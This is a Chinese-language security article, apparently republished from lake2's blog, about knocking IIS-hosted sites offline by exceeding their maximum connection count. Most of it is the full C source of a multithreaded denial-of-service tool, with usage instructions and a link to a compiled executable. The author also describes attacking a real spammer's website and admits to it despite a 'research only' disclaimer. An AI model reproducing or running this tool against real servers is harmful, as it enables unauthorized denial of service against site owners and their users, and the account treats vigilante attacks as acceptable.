科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道利用IIS最大连接数实现网站DOS

利用IIS最大连接数实现网站DOS

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。

来源:lake2的专栏 2008年10月17日

关键字: IIS Dos

  • 评论
  • 分享微博
  • 分享邮件

  ps:本程序仅做为技术研究之用,请勿用于非法用途,否则,后果自负!

  最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。

  这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。

  具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:

  #include "winsock.h"

  #include "stdio.h"

  #include "string.h"

  #include "io.h"

  #pragma comment(lib,"ws2_32.lib")

  #define BUFLEN 1024

  #define MAXThreadCount 10 //设置最大线程数

  int ThreadCount=0;

  struct mydata

  {

  char *ip;

  int port;

  };

  unsigned int resolve(char *name)

  {

  struct hostent *he;

  unsigned int ip;

  if((ip=inet_addr(name))==(-1))

  {

  if((he=gethostbyname(name))==0)

  return 0;

  memcpy(&ip,he->h_addr,4);

  }

  return ip;

  }

  DWORD WINAPI Dos(LPVOID lpParam )

  {

  mydata *csdn = (mydata*)lpParam;

  struct sockaddr_in server;

  server.sin_family = AF_INET;

  server.sin_port = htons(csdn->port);

  server.sin_addr.s_addr = resolve((char*)csdn->ip);

  if(server.sin_addr.s_addr==0)

  {

  printf("Don't find address %s\n",(char*)csdn->ip);

  exit(0);

  }

  int my;

  char buf[100]="POST / HTTP/1.1\r\nHost: ";

  strcat(buf,(char*)csdn->ip);

  strcat(buf," \r\nContent-Length: 10\r\n\r\n");

  my=socket(PF_INET,SOCK_STREAM,0);

  if(my==INVALID_SOCKET)

  {

  printf("ERROR");

  exit(0);

  }

  if(connect(my,(struct sockaddr *) &server,sizeof(server))==SOCKET_ERROR)

  {

  printf("Socket ERROR:%d",GetLastError());

  exit(0);

  }

  if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}

  ThreadCount--;

  return 0;

  }

  void thread ( char *a1 , char *a2 , char *a3 )

  {

  static mydata tmp;

  tmp.ip = a1;

  tmp.port = atoi(a2);

  DWORD dwThreadId;

  HANDLE hThread;

  WSADATA ws;

  if (WSAStartup( MAKEWORD(2,2), &ws )!=0)

  {

  printf(" [-] WSAStartup() error\n");

  exit(0);

  }

  hThread = CreateThread(

  NULL, // no security attributes

  0, // use default stack size

  Dos, // thread function

  &tmp, // argument to thread function

  0, // use default creation flags

  &dwThreadId); // returns the thread identifier

  if (hThread == NULL)

  printf( "CreateThread failed." );

  ThreadCount++;

  Sleep(200); //延时,否则CPU会用满……

  CloseHandle(hThread);

  }

  int main(int argc, char* argv[])

  {

  int i=0;

  if(argc!=4)

  {

  printf("\n\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005\n");

  printf("-Usage:\n");

  printf("%s <TargetAddress> <port> <MaxConnectionCount>\n",argv[0]);

  printf("-Example: %s www.target.com 80 300\n",argv[0]);

  return 0;

  }

  printf("Starting DOS.............Ctrl + C break\n");

  while( i <atoi(argv[3]) )

  {

  if( ThreadCount <MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}

  }

  while( 1 ){ }

  WSACleanup();

  return 0;

  }

  (VS.net 、XP SP1调试通过。编译好的程序可以在这里找到:http://www.0x54.org/lake2/program/IISDos.exe)

  程序为命令行程序,共有三个参数,依次为要攻击的网站域名、端口、连接数。嗯,测试下效果先。

  测试的目标是个人电脑,系统为win2000。IIS管理中把最大连接数设为200,很快网站就不能访问了;增大到500,仍然会被当;800,还是要被当(图)。测试过程中该电脑正在运行魔兽世界,而且一直正常。看来我们的程序只是对付网站,不会央及无辜的啊^_^

  既然如此,那索性试试IIS连接数为无限的情况。程序中的连接参数我填的8000,结果运行途中我的系统没有了缓冲区间,winsock产生10055号错误,程序中止。呵呵,看来这种方法还是只能针对使用虚拟空间的中小网站。

  好,偶们来实际使用一下。打开邮箱,随便找封广告垃圾邮件,访问那家伙的网站,然后开始攻击它,对付这种小站连接数就设成300就绰绰有余了。呵呵,很快那网站就不工作了(图),嘿嘿,这可怪不得我,谁叫他发垃圾邮件在前。好了,测试完毕,通过验收,就不跟他玩了。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章